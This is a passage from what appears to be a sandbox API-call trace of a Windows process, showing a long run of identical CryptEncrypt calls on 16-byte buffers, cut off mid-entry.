pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.964] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.965] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.966] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.967] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.968] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, 